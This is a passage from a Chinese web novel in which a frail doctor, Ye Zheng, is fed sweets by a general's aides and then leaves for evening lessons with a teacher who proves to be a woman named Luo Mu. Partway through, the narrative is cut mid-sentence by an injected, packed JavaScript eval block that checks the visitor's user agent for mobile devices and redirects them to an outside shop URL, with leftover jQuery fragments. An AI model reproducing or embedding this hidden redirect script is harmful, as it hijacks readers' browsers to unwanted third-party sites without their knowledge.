叶筝被他一抓,身形不稳,向后踉跄着退了一步。
明柯以为是自己太粗鲁太用力了,忙松开抓住她手腕的手。
“我找吃的。”
“……啊?”
明柯还以为自己听错了。
然而叶筝确实很认真地看着他,缓慢地问:“有吃的吗?”
明柯不解,满脸疑惑。
叶筝重申,“最好是甜的。”
恰巧这时,林斯言来回话,见叶筝整个人颤颤悠悠的,又看她垂在身侧的手一直在抖,便立刻明白这是村里人说的“叶筝的老毛病”。
他连忙去西边窗子下面的柜子里拿出了一个食盒,从里面取出一碟橙粉色的点心端给叶筝,“叶大夫,这是芙蓉糕,你先垫吧垫吧。”
叶筝毫无推辞,抬手拿了一个就往嘴里塞。
蓝辙觉得有些不对。
她吃这芙蓉糕的样子,不像是馋了,也不像是饿了。
像是,濒死的鱼在大口呼吸着空气。
那边林斯言退出去之后旋即又回来,手中多了一碗赤棕色的液体。他把那碗微微冒着热气的东西放在靠近叶筝的小几上,又把叶筝拉在椅子上坐着,“叶大夫,这是红糖水,你喝点。”
叶筝听了,很听话地端着那碗红糖水就喝了下去。
仰脖,吞咽,干脆的很。
这时,蓝辙发现叶筝刚刚抖着的手,渐渐地安静了下来。她抬手拿取芙蓉糕的动作,也不再如抬千斤。
明柯正站在叶筝身边,见着这一番,把疑问的目光抛给林斯言。
林斯言见叶筝此刻慢慢缓过来了,人在安安静静地吃糕点,便不再管她。
转过身,果然见将军也看着这边,便示意明先生一起去东厢说话。
到东厢,回头再看一眼背对着他们默默吃糕的叶筝,明柯戳戳林斯言,示意他快点说。
林斯言还没开口,蓝辙便问:“饿疱痨?”
“正是。”林斯言点头,“确如将军所说,叶大夫患有饿疱痨。”
明柯再回头,看向身形单薄瘦削的叶筝,几次都没能开得了口。
乱世之中,普通村民百姓,又是孤女,无依无靠,身患此病,倒真不能说不正常。
可是——
叶筝她自己不就是大夫吗?
她既然是大夫,为何不能像王大夫那样行医挣钱?既然是大夫,明知自己有此病,居然身上并无半点急救之物?
看向蓝辙,明柯缓缓收下了疑惑的目光。
“屋子收拾好了?”
在问林斯言。
林斯言赶忙点头,“已经收拾好了,将军。”
“吩咐厨房,晚饭提前,多准备些肉蛋。”蓝辙转回身,把目光和精力放回原本商讨的事上,“准备点夜宵,晚间留用。”
林斯言怔怔,旋即清楚了信息,“是,属下去办。”
半晌安寂。
一直到吃晚饭,蓝辙都没再听到叶筝主动开口说什么。
她不言,跟她同桌而食的他们也少见的安静了下来。沉默扒饭的间隙,蓝辙享受着如今的安静,心想若以后斯言辉辉和明柯都能这般安静就好了。
饭毕,叶筝把筷子架在吃得干干净净的碗上,板凳往后一带,起身就往外面走去。
明柯看蓝辙一眼,得到允可便开口问向叶筝,“叶大夫。”
听见声音,叶筝停下脚步扭头回看。
明柯笑笑,“叶大夫,你这是……”
叶筝道,“我有晚课,我去上课。”
显然,明柯没听懂,“叶大夫什么意思?”
叶筝指着东边,“罗先生家就在东边五十步,半个时辰后我就回来。”
明柯询问的目光看向斯言,斯言满脸懵。这村子里谁也没跟他说过叶筝要去上罗先生的晚课啊。
蓝辙倒没想太多,他放下筷子,“叶大夫,可需要这边帮你准备笔墨纸砚?”
叶筝摇头。
蓝辙又问,“这几日天渐寒,北风呼啸得紧,叶大夫衣衫单薄,太不合时宜。”
叶筝静静立在那里,等他的话。
蓝辙向林斯言道:“斯言,去取我的大氅来,给叶大夫穿上御寒。”
叶筝没有拒绝。
她大概知道他是什么意思。
不管他们是不是担心她就此遁逃了,叶筝都懒得去跟他们打弯弯绕。她不觉得冷,所以没有多穿。但既然他要用一件厚衣服来彰显什么,她也懒得去破。
她说的都是实话。
实话无需应对试探,它本身就是答案。
接过林斯言送来的狐裘,叶筝随意一抖便披在了身上,而后转身出门,并无拖沓。
眼见着叶筝抬脚出门,明柯转头就问向蓝辙,“将军?”
蓝辙继续夹菜,“斯言不是之前说了吗,小清河村有学堂。她去学堂找教书先生上学堂,有问题吗?”
有啊,有大问题啊!
斯言主动接话,“将军,虽然小清河村远离中原位处边疆,但可从未听说过有女子入学堂的!更别提这大晚上的一个女子孤身前去上什么晚课了!这大晚上的,孤男寡女,这成何体统?!”
董辉辉听着,悄摸看了一眼将军,又看看斯言那义愤填膺的样,长长叹息,“你啊你,你何时听叶大夫说她是自己一个人去上晚课了,你怎么知道上晚课的只有她自己。怎么就成孤男寡女了?”
蓝辙吃完最后一口饭,看向斯言,“要不你跟上去看看,亲眼确定了,再来同辉辉相辩,如何?”
林斯言还真被激着了,他想难道我在小清河村里跟村口大爷大妈们唠的嗑难道是瞎唠的?我的消息还能有错了不成?这个三年前搬过来的筝丫头虽然安静不好事,但确确实实行为无格,处处都透露着与寻常人的不同。他刚刚那样说纵容确实不对,但怎么说都是站在常人的立场上为她一个女子着想,他好心还能有错了不成?!
这些念头在他脑中冲荡开来,他把筷子往桌上一墩,还真就跟了上去。
董辉辉看着伙伴离去的背影,满眼无语。
蓝辙收拾了自己的碗筷,便要往厨房送。
明柯好奇,“将军,你又知道什么了?”
蓝辙站定,垂眸看向他,许久方道:“也不算是又知道,只是你忘性太大罢了。”
“啊?”
不过小半柱香的时间,在屋内商量的三人便听见门口的脚步声,待抬头,果然见林斯言着急忙慌的身影。
董辉辉到底还是开了口,“急什么,瞅你成什么样了。”
林斯言快步进了屋,向蓝辙见过礼后,才接下辉辉送来的茶水一饮而尽,“是我的问题,这次确实怪我。但是。”他转向董辉辉,“辉辉你绝对猜不到为什么。”
董辉辉翻了个白眼,“我稀得猜啊?”
林斯言自顾自,又转向明柯,“明先生,你得了空闲,真得去看看那位罗先生。”
明柯见他如此,眼神示意辉辉让他安静点。
董辉辉伸手把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199213|150854||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他按了下来,“你就说吧,别瞎卖关子了。”
“将军,你是不是一早就知道,那位罗先生,是个女子!”
听及此,明柯的眼眸确实闪出了一瞬的亮光。他下意识看向蓝辙,后者只能向他道:“前天在普救寺,游云方丈曾提及此人。你自己说,是你当时没在意,还是你忘性大?”
明柯转头看向林斯言,“那个罗先生,叫什么?”
明先生的态度转变的有点快,他认真的模样让林斯言瞬间老实了下来,“我,我听见叶大夫喊她,罗慕先生。”
明柯唰一下从凳子上弹了起来。
斯言吓了一跳,他没想到这消息说出去最震惊的居然是明先生。
明先生弹起来的瞬间,将军的手就拍在了八仙桌上,发出沉闷而压迫的声响。这声响拦住了明显失态的明先生,也拦住了小屋里的声音。
斯言和辉辉对视一眼,记忆深处都有什么东西缓缓冒出了头,泛出了涟漪。
蓝辙抬眸,望向明柯,“坐下。”
明柯犟着,不动。
蓝辙皱眉,把手边的奏报往边上一敦,“你挡到光了。”
明柯的眼不由自主地眨了几下,无声无息中,那个瘦瘦高高的身影,缓缓坐回了原位。
叶筝说到做到,半个时辰左右,屋内的人就听见了门口站岗的小士兵喊“叶大夫”的声音。
辉辉起身,引着叶筝往东边厢房去。辉辉有心想问点什么,可他心里思绪乱着,捋不出来头绪,张了几次口,也没能问出来。
叶筝懒得管,进屋后,把从罗慕那边带回来的几张纸放在桌子上,便直直走向床边。
辉辉的目光随着她的手落在桌上,那几张纸被折了三两下,如今半张着口子,贴在冰冷的桌面上。辉辉心里一动,找到了话头,便想问叶筝这是不是那位罗先生给她的东西。
然而辉辉一转头,她已经躺在床上了。
鞋未脱,衣和身,潦草而随意地躺着。
双目紧闭着,看起来累极了。
斯言说叶大夫是中午回到小清河村的,回来后就来了这边。不管怎么说也算是折腾了一整天,也许她真的是累了。
算了。
反正她要在这里待一段时间,有些话不急在这一时。
辉辉能这样想,明柯未必不会这样想过。
可他还是去了。
站在西院东厢房门口的时候,明柯的手抬起来又放下,始终没能叩出那一声。
他想想觉得好笑。
倘若此刻这屋子里是那位罗先生,他犹豫也就算了,可如今里面是一个与他毫无关系的陌生人,他此刻又犹疑什么呢?
嘲讽的笑还挂在脸上,东厢的门吱呀一声开了。
明柯应声抬头,惊愕间看向门口的青衫女子。
“有事吗?”
那女子问。
明柯心底突然冒出来一种小心思被人戳破的羞愧感来,他提了提手中的食盒,解释道:“将军说叶大夫晚间吃的不多,让我来送点吃的,叶大夫能晚上吃。”
叶筝哦了一声,接过食盒随手往身边的柜子上一搁,依旧站在门口把着两扇门,“还有事吗?”
明柯眼神游移不定。
叶筝不等他。
他不想说,就在外面慢慢想吧。
双手带着门向前推,就要把门关上。
明柯下意识伸出手顶在门上,阻止了她关门的动作。
“叶大夫,方便我进去说话吗?”